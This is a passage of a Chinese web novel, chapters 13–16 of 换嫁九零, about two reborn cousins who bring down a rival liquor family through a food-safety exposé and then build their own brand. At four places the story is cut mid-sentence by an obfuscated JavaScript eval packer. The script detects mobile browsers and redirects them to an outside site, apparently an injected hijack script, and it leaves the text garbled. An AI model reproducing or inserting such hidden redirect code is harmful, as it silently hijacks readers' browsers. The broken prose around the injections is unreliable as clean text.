苗双双一开始还想好好和他说话,但他一直说,一直说,苗双双也烦了。 “我的钱我借谁不行啊,你管我?” “你有本事就去白手起家,都张嘴了,还想跟我冲大爷!” 人在激怒的情况下,就不会管话伤不伤人,这番话真的把顾鹏飞伤到了。 吵架这种东西,只会一次比一次升级,所以最后谁都没低头,闹了个不欢而散。 不过算了,不想那么烦人的事了,苗双双精神抖擞地出现在剪彩礼上,和人谈笑风生,慷慨陈辞,好像什么都没发生。 但就是这样,还是遇到了意想不到的人,陆景安和他爸不请自到。 陆父今年已经年过五十,虽然在家里像个皇帝,在外面却意外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075264|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和蔼可亲,见谁都猫腰撅腚,谄媚讨好,从不让人脸掉地上。 挨个握手后,在叶奚青苗双双姐妹处停下来,却是直起了腰板,笑眯眯道:“叶老板,好年轻啊,还有苗大明星,越来越漂亮了,想想之前,你还差点成我儿媳妇呢,最后没成了,可惜啊可惜。” 苗双双看这老猪头,就像看秋天的蚂蚱,一点没因为他的阴阳怪气不高兴,挑眉笑道:“缘分没到嘛,陆老板看我现在不挺好,可见各人有各人的缘法,不一定非要在一起,在一起没准还会坏事。” 陆景安听这话可不顺耳了,原本被退婚后,他放出豪言,要看苗双双落魄,谁想到人家成大明星了。 为这事没少人来找他表达惋惜,虽然可能确实只是惋惜,听在陆景安耳里却像打脸,因此心里更恨。 如今他已经接手了一些厂子里的业务,听说有新酒厂开张,还是苗家那姐俩,自然要上门来看看。 如今的苗双双,在红气的滋养下,可比当初漂亮多了,陆景安心内又鄙夷,又有点意动。 他这样的阔少,但凡动点心思,肯定会有行动,于是暧昧调笑道:“缘分这种东西嘛,昨天没到今天到,今天不到明天到。” “就比如我最近听说苗小姐要上春晚,巧了,今年的春晚承办标,已经被我们陆家拿下了。” “苗小姐这么漂亮,要不要给我们代个言,等以后有机会,我也可以资助你拍戏啊~” 苗双双:…… 这可真是见着活癞蛤蟆张嘴了。 被“前夫”恶心得够呛的苗双双,正要怼回去,没想到一直沉默不语,仿佛别人的酒厂在开业的叶奚青,居然罕见地开口了:“陆家要承办春晚?” 她的话很清晰,这一下所有人的注意力都被拉这上头。 陆父今天来这,就是因为苗家姐妹,实在有点来势汹汹。 这些年叶奚青的小酒坊,着实在本地打出了一些名气,陆景安一天天只在女人身上使劲,不知道这些,陆父却是知道的。 他原本没当回事,但喝过一次叶奚青酒坊的酒后,就咂摸出些味。 很不简单啊,如果被她做大了,搞不好真的能影响到他们陆家酒。 他是绝对不乐于见叶奚青做大的,甚至还动过要不让自己儿子把叶奚青娶过来,顺便把她的秘方也娶过来的心思。 但没想到他还没付诸行动,叶奚青就把酒厂开起来了。 本地的其它小酒厂,他都不放在眼里,只有这两姐妹,一个有秘方,一个是大明星,真让人头疼。 不过没关系,有他在一天,“青青酒业”就别想开下去! 承办春晚,在这个年代,还是很让人震撼的,所有人都震惊于陆家的财力。 如此一来,这个下马威效果就到了,陆父笑眯眯地开口:“是啊,只是小打小闹一下,陆家有今天,离不开各位父老乡亲的支持啊。” 人群中陆陆续续响起一些口哨声和呼应声,好好的青青酒业剪彩礼,成了陆家的广告台。 叶奚青看着这个老猪头,就像看砧板上待宰的鱼,微微笑道: “那陆老板更要小心了,爬得越高,摔得越狠啊。” 13.《换嫁九零》 陆家父子当然不会将叶奚青的几句言语挑衅放在眼里。 这个世界是用实力说话的,这两个天真的小姑娘,真的知道自己面对的是什么吗? 和陆家相比,她们两个太渺小了。 渺小到随便伸根手指,就能碾掉! …… 在娱乐匮乏的年代,春晚可能是一年一度最大型的娱乐,老百姓都很关心。 苗双双现在红得发紫,自然是八卦小报的宠儿,早就有人传她会上春晚的消息,传得轰轰烈烈,最后却没上成。 这倒不是春晚节目组没请她,事实上她都去彩排了,但在彩排现场,“投资商”要求在她的场次,为自家品牌做宣传,苗双双想也不想就拒绝了。 陆景安坐在一边,笑得很不正经:“反正苗小姐也没有酒类代言,为什么不呢?” 苗双双看都懒得看,拎着车钥匙就走了。 管我有没有代言,谁想沾上你家这屎啊! 所以陆景安洋洋得意撤了苗双双的春晚资格,给她下马威时,苗双双却在家惬意地跷着二郎腿,看别人演春晚,一边看一边问:“你那官司怎么样了?” 叶奚青那个年代,人们已经不怎么把春晚当回事了,但重回过去看春晚,感觉还是不一样的,便也看得津津有味,顺便回一下苗双双:“法院过完年继续打。” 苗双双无所谓道:“没事,放心打吧,这官司肯定能赢。” 叶奚青微微一笑,她也是那么觉得的。 两姐妹云淡风轻,另两姐妹却着急上火:咋还这么淡定呢? 陆家想整青青酒业,当然不可能剪彩礼上放几句狠话就算了,没多久叶奚青就收到了法院的传票。 收酒蔡姨惶惶地来找她,完全不见了初见时的意气风发,急地在地上转圈。 蔡家所谓的“倒腾酒”,说白了就是“山寨”。 她把从别处收来的低价酒,贴上仿大牌的牌子,当大牌卖,卖得比大牌低,但也比大牌好,光差价就能让她赚得盆满钵满。 这些年有了叶奚青后,一直合作得很愉快,叶家的酒是真好,贴上牌子当再贵的酒卖,也没人产生怀疑,她只想这么卖一辈子。 但天有不测风云,山寨这种东西,讲究民不举,官不究,官要是真究了,那顷刻完蛋。 这附近酒业的最大牌,当然是陆家酒,她贴的牌,也都是仿陆家牌,现在陆家找她头上了。 不过很显然,陆家不是为了她这个小卡拉米来的,剑刃直指新建酒厂的叶奚青。 蔡姨一个倒腾山寨酒的,还能指望她多有良心,为了保全自己,肯定能拖叶奚青下水就拖下水。 但良心没有,情分还是有的,所以在拖下水前,蔡姨还是找叶奚青通气了。 叶奚青没想到她那么“有良心”,便点头:“没事,你就把事都推我身上吧。” 本来也没准备自己扛的蔡姨,立刻欢天喜地的走了,心安理得地把叶奚青拖下了水。 青青酒业刚开张,还没咋地呢,就捞来了这么一个大官司。 酒厂也是有叶世英5%股份的,所以她急得满嘴火泡,而这个公司是自己女儿开的,看着女儿天天打官司,叶世梅自然也是心焦。 看着两位妈妈这么着急,一直在家里充当“贴心角色”的叶奚青,当然不能视而不见。 “大姨,妈,大过年的就好好过年,不要想这些糟心的事。” “到了明年开春,一切就迎刃而解了。” 这话安慰作用起没起到不知道,却是让一旁的苗双双动作顿了一下。 转头看向叶奚青,她的淡定真不像演的,好像有十足把握。 但是她淡定,是知道陆家是秋后的蚂蚱,蹦跶不了几天,叶奚青凭什么呢? 因为这个问题,苗双双走神了好久,直到叶奚青用胳膊撞了她一下。 “是这个蜜饯果子不好吃吗,那你尝尝这个。” 苗双双看着叶奚青手上的新糕点,才意识到自己走神了那么久,连嘴里的果子都没来得及咽。 一把抢过叶奚青手中的新果子,莫名有些气恼。 不过算了,船到桥头自然直,与其纠结这个,不如静看陆家破灭大戏吧! …… 过完了年,又是新的一年,各行各业重新忙碌起来,一副欣欣向荣的景象。 而就在消费节那天,平静的态势突然被打破,消费者协会爆出了惊人消息:某地工商局查验陆家酒,发现了大量醇类、醛类物质超标,而其它地方的酒送检,居然也发现了类似的情况! 民以食为天,食品安全从来是全国人民关心的头等大事,陆家酒刚投资举办春晚,正是魔性广告语被全国熟知的时候,两相结合,瞬间炸了。 一开始陆家还想压,但压着压着就发现不对了。 曝出这件事的工商局,根本不是本地的工商局,报道的记者,也不是本地的记者,他就是有通天本领,也鞭长莫及! 这下不只是上了春晚,也上了焦点新闻。 投资春晚获得的名气,还没让它获得利益,先一步让它成为消费节主咖。 事情闹到这个地步,就不可能有人对陆家留情了,所以陆家酒的名声是彻底臭了。 有人欢喜有人忧,陆家人急的焦头烂额,却也有人趁机发起了“陆难财”。 前段时间有人曝,某当红明星在春晚现场耍大牌,被春晚节目组开除。 现在马上有人曝,原来该明星在春晚现场黑脸不是因为别的原因,而是因为不想给陆家酒做宣传,宁愿放弃春晚资格。 哇,居然有这么刚正不阿的人! 舆论一下子从认不清自己几斤几两的“戏子”,变成了反假酒先锋,人民的好女儿。 叶奚青前段日子还因为和陆家的“侵权案”,弄得焦头烂额,现在也是上了《要点访谈》了。 和正式新闻节目比,这个访谈节目会更轻松一点,节目效果会更活泼一点,在娱乐匮乏的年代,老百姓把它当娱乐节目看,每天都会准时收看。 陆家酒这么重大的事,访谈节目当然会做相关专题,只是专题内容很离奇——《“假真酒”和“真假酒”》。 节目一开始,镜头就去了一个老头家,人人都劝老头他买的陆家酒是假的,喝了会死人、会瞎眼,他却抱着酒瓶不撒手。 “胡说!这酒怎么能是假的呢!这是我这辈子喝过的最好的酒!” 她女儿担忧他出事,很生气,就找了专业的人来检验,让他爸彻底死心,结果没想到居然真没问题! 女儿当时人都傻了。 就在屏幕前的观众皱眉,以为这是给陆家酒洗白的节目时,旁边的老太太一大嗓门嚷过去:“你们验啥啊,他那就不是陆家酒,买的时候就是假的!” 众人一愣,赶紧向老太太请教。 老太太一边搓着玉米,一边嫌弃道:“他当初宝贝似的跟我说买到了陆家酒,结果一问价格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080672|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 78,78你买什么陆家酒啊,你酒瓶子都买不来!” “所以陆家酒出事,我一点没担心,他当初买的时候就是假的,真的出问题了,和他有啥关系啊!” 众人一愣,这跌宕起伏的剧情,不说屏幕前的观众,就连采访记者都被逗笑了。 个子很矮,但很有活力的记者继续跟进,找到了“假真酒”的始作俑者,举着话筒问起来:“听说王老汉买的‘假陆家酒’,就是你们产的,你们正在和陆家打官司?” 始作俑者站在酒坊里,因为是“违法分子”,脸都糊了马赛克,声音做了模糊处理。 听见记者问,认错态度非常良好地低头:“对。” 记者笑得更厉害了:“那现在是你们和他打,还是他们和你打呢?” “假真酒”的老板继续认错态度良好道:“他们和我打。” “那知道陆家现在的事后,您对此有什么感受呢?” “我很后悔。” “是后悔卖了贴标的假酒吗?” 受访者摇摇头,抬起头看屏幕:“是后悔我的真酒,贴了他的假标。” …… 这一场采访完,几乎把屏幕内外的人都逗笑了,一向以端庄大气著称的主持人,说话间也带上了些笑意。 “根据我们前线走访的记者来看,陆家市面上的酒,充斥了大量有害物质超标的假酒,唯一检测合格的,居然是真的‘假酒’。” “真酒出事后,消费者居然因为买的是‘假酒’,逃过一劫,也是令人啼笑皆非。” “不过我们在这里不支持任何弄虚造假行为,生产‘假真酒’的叶女士,也已经受到了工商局的严厉处罚,并公开道歉,承诺以后不会再有‘贴假标’行为,真酒也应该贴真标!” “如今‘假真酒’已经受到处罚,‘真假酒’该何去何从,本节目将持续跟进,对于“产假酒”、“贴假标”的市场乱象,亦将持续跟进……” …… 节目播完,判决也下来了。 叶奚青贴假标的行为,原本可大可小,法不责众。 但因为赶上这事,造成的社会影响还是很恶劣的,最后被判赔偿陆家三万五千八,工商局那还要交一万的罚款,在这个年代,不能说是不重。 但塞翁失马,焉知非福,这个结果也未必不好。 一个食品类企业,最火的时候,大概就是出食品安全问题的时候,现在陆家的“火度”,有偿分给了叶奚青一些。 这在信息流通慢的年代,简直比上电视台轮番打广告还好使,知道陆家这个“真假酒”,就不得不知道她这个“假真酒”。 对于一个急待出头的企业,腥风血雨,总比默默无闻要好。 心情没受影响的叶奚青收好判决书,看向一旁同样逃出生天状的蔡姨,微笑道:“我这次是被罚了,蔡姨你以后也别这样了。” 蔡姨土拨鼠猛点头,她这次是被吓得不轻,还好叶奚青主动承担了所有罪责,不然最该赔的是她! 不过她这些年都是干这个的,一把年纪了,再找个新活计,能找到啥? 看着她忧愁的样子,叶奚青微微一笑:“那就给我当经销商吧,咱们合作这么多年了,我给你的价格肯定合适。” “除此之外,蔡姨你肯定很熟悉附近的酒业往来,那你知道陆家有多少经营脉络吗?” “不管有多少,我现在都想要,至于第一批酒的基础价格,就定78吧。” 14.《换嫁九零》 陆家作为全国知名的酒企,不仅是当地酒业市场的支柱,还是最赚钱的经济体之一,所以它曝出食品安全问题,不仅给整个酒业市场造成沉重打击,连本地的领导层都人人自危。 所有酒企都掀起了一场腥风血雨的大清查,本市电视台频道天天播放领导轮流开会,然后人人道歉,表示严厉整治的决心。 叶奚青放下手中遥控器,在这样风雨飘摇的态势下,她的心态却出奇的稳。 她被判罚了很多,但她是叶奚青,不是愣头青,不会真的傻傻地把自己大部分家底,全拿来缴罚款,所以她一直在向法院申诉。 生产的酒,被用于充当高档酒卖的这种事,只存与她个体户经营期间,和她现在新创立的酒业企业无关。 而那期间,她并没有因此获得更高的利益,她售卖酒的价格,并没有超过当地普通散酒的价格,可以清查她的资产。 她对给予她的判罚并无异议,但她现在创立的酒企,资金大部分来源于借贷,现有经济实力,不允许她支付如此高额的赔偿。 所以她愿意出纳一万的罚款,但对于给陆氏的三万五千八赔偿,她申请延期支付,暂缓一下,允许她筹钱。 那法院能怎么办呢? 一万罚款是司法机关给的处罚,三万五千八赔偿,却是两个当事人的纠纷。 叶奚青可以就这一点,一直上诉,陆家还能陪她一直打官司吗? 且不说他们还有没有处理这种事的精力,就是有,律师估计都不敢接,谁愿意在这个关头和陆家扯上关系。 所以双方最终对此达成了和解,叶奚青支付了一万罚款,三万五千八年赔偿等年后再给,就是不知道年后陆氏还在不在。 只支付一万罚款,对青青酒业来说不算伤筋动骨,还能正常支付员工工资。 于是其它酒企闭厂的闭厂、整顿的整顿,青青酒业还能如常营业。 里面的员工也不知道叶奚青的酒厂,还能不能继续开下去,但没活干的人越来越多,好歹现在她们还能领工资呢! 别想那么多了,猛劲干,能赚一天是一天,卖不卖得出去是老板该考虑的事! 就这样,叶奚青厂房里的酒是越堆越多,很快成了山。 虽然白酒没有过期一说,但总这么压着,也不是一个事。 叶奚青拿起一瓶“青青酒”,这个年代很多人还不注重设计,叶奚青却不这样,她专门去首都找了一个广告公司,给她设计瓶装外形还有商标。 人靠衣装,酒靠瓶装,这么一设计下来,不知道的还以为很高档。 有了东西,叶奚青本着有事就去找恶毒女配的原则,充满讨好道:“双双,忙吗?如果有时间,你能不能再帮我拍一只广告呢?” 苗双双却沉默着没说话。 叶奚青:…… 万能工具人怎么不好用了? 苗双双很沉默。 这些天,她原本因为“耍大牌”,负面新闻缠身,但因为陆家曝出来的丑闻,她的口碑焕然一新,事业更上一层楼。 如果是个正常人,现在肯定很高兴,苗双双却很冷静。 沉默许久,抬头直视着叶奚青的眼睛,没带一丝感情道:“你怎么知道陆家会在今年破产?” 叶奚青动作一顿,却只是沉默地站在原地,没有开口反驳她的说法。 苗双双因为她的反应,理智逐渐崩坏。 一直以来,她都快忘了自己重生这件事了。 毕竟重生回来后,实在太顺了,莫名其妙变得非常漂亮,莫名其妙成了大明星,莫名其妙有钱了,莫名其妙人生一路绿灯,简直像后世穿越电影的主角那样。 因为莫名其妙的事太多了,她就真把自己当主角了。 毕竟她都重生了,她不是主角谁是主角! 一直沉湎在这种快乐里,苗双双变得懒得思考,但在陆家这档子事中,她突然惊醒。 如果主角不只她一个呢?如果还有别人也重生了呢? 苗双双将目光投向叶奚青。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084263|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果之前叶奚青的泰然自若,还能用她性格天生如此来解释,那么《要点访谈》播出的内容,该怎么解释? 在那出节目里,看似是对叶奚青的批判,但如果有心,就能品出一丝别的味道。 那这么有利于叶奚青的访谈,是可以无缘无故,自然发生的吗? 这种巨大的筹谋,是可以在陆家倒台第一时间,就紧跟着摆向台前吗? 苗双双回想了一下,在事情发生之前,叶奚青一直在往外面跑。 原本以为她是为了处理官司,现在看来,她干的可要更多! 她敢不要春晚资格,拒绝陆家,是知道陆家马上就会倒台。 叶奚青凭什么敢冒这种风险,筹谋这样的弥天大局呢? 只有一种解释,那就是叶奚青也是重生的! 一想到这,苗双双几乎站立不稳了。 那叶奚青是什么时候重生的呢? 是在她突然要开酒厂的时候吗?是在她突然会酿酒的时候吗? 抑或是在故事的开始,她刚重生回来,喜滋滋抢走顾鹏飞时,她就已经洞悉了一切,沉默地观摩着她的一切。 一想到这,苗双双就莫名的羞愤交加。 但她是那种自己越没理,越对别人发怒的人,所以看向叶奚青的眼神,越来越凶狠。 叶奚青抬头看向她,却是一贯的冷静:“你都知道了?” 果然! 苗双双目眦欲裂,在她惊怒交加的眼神中,叶奚青微微一笑: “既然你知道了,那我就不隐藏了。” “没错——” “陆家酒的食品安全问题,就是我举报的。” …… “嘀嗒、嘀嗒、嘀嗒……” 客厅里用以装饰的巨大机械钟,充满规律地摇摆着,材质良好的玻璃罩,映照着两姐妹沉默的面容。 在听到答案前,苗双双感觉世界要毁灭了。 而在听到答案后,她只想抬头望天—— 啊? 15.《换嫁九零》 苗双双沉默了好一会儿,才找到了自己的声音,机械地开口:“你为什么要举报陆家……” 叶奚青歪歪头:“这不是很正常吗,一山不容二虎,就算他好好的,我都不可能放过他,更何况他主动来打我。” “既然如此,我已经做好了挨打的准备,就是不知道,他能不能承受我报复的后果。” 苗双双:…… 本以为是重生的羁绊,原来是肮脏的商战…… 发现只是一场乌龙后,苗双双的理智逐渐回归,这时候她才意识到,虽然陆家确实和前世一样倒了,细节上却有点不同。 前世的陆家,可不是因为消费者协会曝光才倒的,而是真的喝死人了。 死了还不止一个人,被誉为“建国假酒第一大案”,直接上了法制频道,也是因为这个,陆家彻底倒地,回天乏术。 意识到陆家的这次倒台,确实是因为叶奚青的“举报”后,苗双双突然不知道说什么好了。 她能举报成功这件事,或许贴合了这个世界的“天道”,但她会去举报这件事,也太出人意料了! 那是小时候任她打任她骂的窝囊表姐,那是就算前世成为首富太太,也只会当个沉默花瓶的贤妻良母。 苗双双一直觉得就算世界毁灭,叶奚青也会是把逃生资格让给别人的大圣母。 现在她才知道。 哪里是绵羊啊,分明是豺狼…… 宛如重新认识了叶奚青,苗双双沉默着看了她很久。 “那你怎么能确定自己举报就会成功呢,陆家势力那么大,一般人都不会觉得光凭举报就能扳倒他吧?” 叶奚青一笑:“所以我没在本地举报他啊,他就算势力再大,能将手伸到别的地界吗?而且——” 叶奚青将手指向正在播放本地新闻的电视上。 苗双双从来不乐意看本地新闻,因为她觉得车轱辘话能说三十分钟也是厉害,从开始到结束都在反复说一个东西,而听完一遍后,她居然没在里面提炼出任何有用信息。 这种东西,也不知道是哪些神人在看,不过照目前来看,叶奚青看得好像还挺起劲的。 那能不起劲吗,知己知彼,百战不殆。 这些人,落在无关人眼里,只是一个个无趣的脑袋,落在所有当地企业的老板眼里,却是决定他们一切的顶头上司。 现在这一群人,要换届了。 …… 发生陆家酒企这么重大的问题,最先倒霉的就是县里的负责人。 他不仅是直接责任人,这么多年,陆家的问题一直没被查出来,很难说他是干净的。 现在陆家保不住,他也快了,没过多久,县里就迎来了新负责人。 新负责人叫孟常丽,她能被派来,倒不是说她多被重用,或者是相信她的能力。 只是现在这里的问题非常尖锐,需要一个人来抗压。 而且这个县,纯纯农业县,全靠陆家的酒厂强势带起了整个县的经济,如果陆家完了,那就算躲过这一劫,这个县也废了,真正受重视的,反而不会被派过来。 孟常丽不是傻子,她也知道自己被派来的原因。 但机遇和挑战并存,只要有机会,就有可能翻盘,她还是想盘好这个烂摊子。 也就是在这时,有一个人敲响了她办公室的门。 孟常丽刚上任,没想到就有人找到了她头上,不动声色地询问:“您是?” 来人是一位非常年轻的女士,有着年轻人特有的活力,她怀里抱着一个文件夹,微笑着开口: “您好,我是青青酒业的负责人叶奚青,您可能对青青酒业并不了解,但如果您看过总台播的‘假真酒’和‘真假酒’,那您应该会对我有些印象。” “这几天陆家酒出了这么大的事,知道您也很忙,所以我只占用您一点时间,谈谈我们青青酒业的事。” 孟常丽看着来人,听着她的诉说,逐渐坐直了身体。 她突然意识到,她需要的转机,或许现在就来了…… …… 自陆家酒业食品安全问题曝出来后,他们的广告理所当然被撤了,而就在这时,一条新广告横空出世,主角还是当红明星苗双双。 在那支广告片里,苗双双扮演了一位身穿大衣,在一片雪花弥漫的雪天里,茫然前行的摩登女郎。 根据记忆闪回,她好像犯了什么严重的错误,整个人都不堪重负。 当她走进电话亭,正要伸手拿电话时,视线突然被一旁的,散发着温暖光晕的酒瓶吸引。 女郎拿起那瓶酒,饮下一杯。 等喝完后,压抑的背景,冰冷的色调,一点点消失。 女郎好像找到了重来的勇气,放下电话,奔向来时的方向,准备重新来过。 而片尾广告语也出现了:比承认错误更重要的,是重来的勇气。 广告片一播出,就因为唯美的画面,充满故事性的氛围,让人意犹未尽的结局,还有当红明星苗双双的倾情演绎,引发了一番热响。 看进去后,观众就开始提问:广告中的“青青酒”是哪家啊? …… 这支精彩的广告片,不仅被用于电视台里,也被用于正式的会议上。 在会议上,县里新负责人孟常丽激情发言。 “陆家酒业的行为,是令人心寒、心痛、深恶痛绝的,他们不仅没有食品企业应有的责任感,将消费者的生命安全置于金钱之下,也将酒业之乡,百年来的美誉,毁于一旦。” “对于陆家酒,我认为要采取严厉的惩罚措施,给所有食品公司敲响警钟。” “而对于其他酒企,不能因为这一颗老鼠屎,坏了整锅粥。” “在我最近走访的过程中,发现有如陆家一般,道德败坏的企业,也有如视频中一样的良心企业。” “视频中的青青酒业,在问题未暴露之前,就一直坚持采用粮食酿酒,所以在央视突如其来的大抽查中,青青酒业的所有酒,都经过了质量检验。” “对行为恶劣的企业给予惩罚,对坚守本心的企业,也应当给予机会,这就是我的观点。” “引用一下视频里的话语——比承认错误更重要的,是重来的勇气!” 话音一落,全场掌声雷动,在开了这么多天会后,终于也算是整出个解决办法了! 用新冒头的青青酒业,代替已经臭了的陆家酒业,别管这个方法有没有效,至少是看到希望了。 而有了上头的态度,陆家的那些经销商,也开始松动了。 要说陆家酒出问题后,受冲击最多的是谁,当然是这些经销商了。 他们处在中间层,卖又卖不了,退又不给退。 陆家家大业大,死都要死好久,他们可急等着见钱呢。 正着急的时候,没想到“青青酒业”横空出世。 能请当红明星当代言人,这实力可不错啊,而且看上面的意思,也是要扶持她了。 做生意最怕的,其实都不是赔钱,而是肉眼可见的没希望,活着等死。 青青酒业的强势出世,给了所有人强心剂,以至于原本在蔡姨找来,只听了个名字,完全没当回事的经销商,态度一转,纷纷来厂子洽谈合同。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090253|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么青青酒业真的有那么“强势”吗? 工资还没结的“瑟琳娜”有话要讲。 瑟琳娜虽然叫瑟琳娜,但她并不是外国人,而是本本分分的华国人,之所以叫这个名字,是因为刚留学回来,起个洋名,增加一些B格。 叶奚青找人设计酒瓶商标的时候,第一眼就看中了她,为什么呢,工作室刚成立,要的便宜。 她虽然看重设计,但她不认为设计这种东西,大公司就一定好,小公司没准会更尽力呢。 当然,她确实也没钱。 果然,瑟琳娜刚开张,一点不想放弃这单,虽然她们工作室没有专门学过酒瓶设计和商标设计的人,但还是边做边学,铆足劲弄出来了。 这一单合作得很愉快,有了前例,叶奚青就开始找她谈广告。 那没问题,瑟琳娜的广告设计公司,主业就是干这个的,但你给多少钱呢? 一提到钱,叶奚青的专业就来了。 她从陆家倒闭带来的风口,说到自己公司的前景,再从公司的前景,说到苗双双的影响力,又从苗双双的影响力,说到瑟琳娜公司的前景。 最后核心观点就是:钱现在没有,但以后会有的!比起钱,机会更重要! 瑟琳娜:…… 她很想打人啊,但这个时候,找小公司的好处就体现出来了,那就是她们真的需要一个让自己快速打开名气的机会! 不管叶奚青对自己企业未来的畅想,是不是她的妄想,她是真能请来苗双双拍摄啊! 以她们公司的实力,苗双双这个级别的女星,她的广告,是绝对轮不到她们来设计的,所以哪怕不播,留一个当样片招商也是值了! 就这样,叶奚青空手套白狼,白白忽悠出一支广告片。 而这个广告片其实也没在黄金档、重要台播,只是在电视频道,不温不火地播着,带来的影响力却是巨大的。 苗双双的粉丝,都是通过电视剧认识她的,常看电视剧频道的人,差不多都认识她,引来了第一波关注。 有了这种关注,就会有人好奇青青酒业是干什么的,结合那个访谈,就会迎来第二波关注。 有了这两步比较像回事的起手,她就可以凭此打动新来的领导。 而有了领导的扶持,就会引来陆家完蛋,正惶恐不安找说法的原经销商,一个完美的循环就构成了。 叶奚青很喜欢阅读,以前她的阅读都为了高考服务,现在来到异世界,倒有闲心阅读一些没用的“杂书”。 她很喜欢其中一本书的描写:一个运转的企业,像一个滚动中的轮子,当它转动起来时,其上的细节反而显得不重要。 所以不管这个循环构成得有多拙劣,当它转动起来时,就没人在意上面的细节了。 苗双双看向叶奚青,心情很复杂:“你还挺厉害。” 叶奚青立刻谦虚道:“哪有,哪有,双双,你才是里面最重要的一环,没有你这个大明星的号召力,哪个环节都不能实现。” 苗双双轻哼了一声。 就在她以为所有事情翻篇后,叶奚青却突然开口:“但是我很奇怪,我就陆家的事上,确实隐瞒了你一些,你那么聪明,猜出来并不奇怪。” “可是双双,在知道陆家是被我举报的后,你为什么会那么激动呢?” “当时的你好可怕,差点让我以为做了什么对不起你的事,现在所有的事都终结了,你能告诉我为什么吗?” 苗双双:…… 闲着没用的嘴,可以用来吃东西,为什么……为什么……哪有那么多为什么! 16.《换嫁九零》 本来情绪已经过去了,没想到叶奚青话锋一转,又把话题带回来了。 苗双双现在心里很憋闷,但是没人知道她为什么那么憋闷。 重生一直是只有她一个人知道的秘密,一个人心里有再多秘密,自己也不会感觉到不对,有一天突然有暴露在阳光下的风险后,她才意识到慌张。 她不得不思考,如果有别人也知道她重生,开始审视她重生后的行为,尤其这个人是叶奚青的话,她该怎么办? 那一定很羞耻,她光是想象就感受到了。 叶奚青会知道她前世是怎样的失败,这世为了抢她的机遇,把原属于她的首富丈夫抢走,并想把自己原来的破产老公甩给她。 她会知道其实苗双双没有那么厉害,不是她可以依靠的大明星,而是像阴沟里的老鼠一样,在背地里使坏的生物。 到底是自己的假面被戳穿更难受,还是被叶奚青瞧不起更难受,她也说不好。 但是只要一想到这个可能,她就不想在这个世界上继续生存了…… 看着苗双双并不平静的表情,叶奚青一笑:“算了,可能是我多心了,我这个人,总喜欢想一些有的没的。” 发现叶奚青不再追究后,苗双双顿时长出一口气。 逃出生天后,她顺杆儿爬的精神,立刻发挥了作用,马上反咬一口:“就是嘛!什么我的脸色不好,我就不能是没睡好吗?这么简单的事也能发散那么多,你心里能不能阳光点!” 叶奚青合掌表示投降:“好了,好了,是我不对,那我们回家好吗?” 苗双双一顿,回家? 不知什么时候,她和叶奚青的关系,已经可以简化到一起“回家”的程度了。 童年时背对背生闷气的两个女孩,从久远的记忆里浮现,又慢慢消散。 那已经是很久远的记忆了,她们已经长大很多年了,长大后才知道,原来很多‘仇怨’,竟是能不解自消的。 大概是所有事情都尘埃落定,苗双双突然心生了很多感慨,百感交集道:“回家吧。” “不过在回家前,我想给我妈买一个金镯子,你要不要也给你妈买一个?” “我想,但是我现在没有钱。” “那我先借你一点?” “行,谢谢你,双双。” 苗双双:…… 她是不是有病啊,为什么要主动提借钱这茬,叶奚青根本就不会拒绝啊! 不过在愤怒后,又心生欢喜,如果叶奚青不拒绝的话,就当在她不知道的时候,所有恩怨,一笔勾销了吧~ …… 裹着红绸的两个金镯子,被送到两位妈妈面前后,两位妈妈果然很激动。 叶世英爱不释手地感受着手中的重量,嘴上却是:“又乱花钱,你有多少钱啊,禁得住这么花!” 苗双双从来不乐意听这种话,作势就要抢:“你不乐意要给我!” 叶世英眼疾手快地躲过身子,那身手敏捷的,一点看不出年纪,中气十足地白了她一眼:“我就要,你管我!” 苗双双:…… 那你还整这死出! 和叶世英相比,叶世梅是真有点拘谨。 她和叶奚青错过太久了,久到已经不知道怎么和她相处了。 一眨眼间,叶奚青就长大了,面对长大的女儿,她总是有很多话想说,话到嘴边,却不知道怎么说好。 